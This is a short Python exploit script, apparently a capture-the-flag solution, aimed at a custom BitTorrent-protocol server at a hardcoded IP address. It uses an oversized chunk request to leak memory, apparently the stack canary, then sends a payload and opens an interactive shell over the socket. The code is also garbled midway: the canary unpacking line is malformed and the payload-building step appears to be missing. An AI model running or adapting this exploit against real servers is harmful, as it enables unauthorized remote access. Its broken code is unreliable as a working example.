#!/usr/bin/python import struct import socket import telnetlib SERVER = ('88.198.89.222', 1234) MAGIC = '\x13BitTorrent protocol' binary = open('server').read() def setup(f): info_hash = '7bf10a4619352e13935c3dfdd58912062717f95d' f.write(MAGIC) f.write('\x00' * 8) f.write(info_hash.decode('hex')) f.write('B' * 20) # peer_id f.read(len(MAGIC) + 8 + 20 + 20) f.read(7) # bitmap f.read(5) # unchoke def request_chunk(f, index, begin, length): payload = struct.pack('>I', 0xd) payload += '\x06' payload += struct.pack('>I', index) payload += struct.pack('>I', begin) payload += struct.pack('>I', length) f.write(payload) length = struct.unpack('>I', f.read(4))[0] assert f.read(1) == '\x07' f.read(8) return f.read(length - 9) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(SERVER) f = s.makefile('rw', bufsize=0) setup(f) data = request_chunk(f, 0, 14736, 1168) stack_canary = struct.unpack('I', 1) payload += '\x07' f.write(payload) print 'done' t = telnetlib.Telnet() t.sock = s t.interact()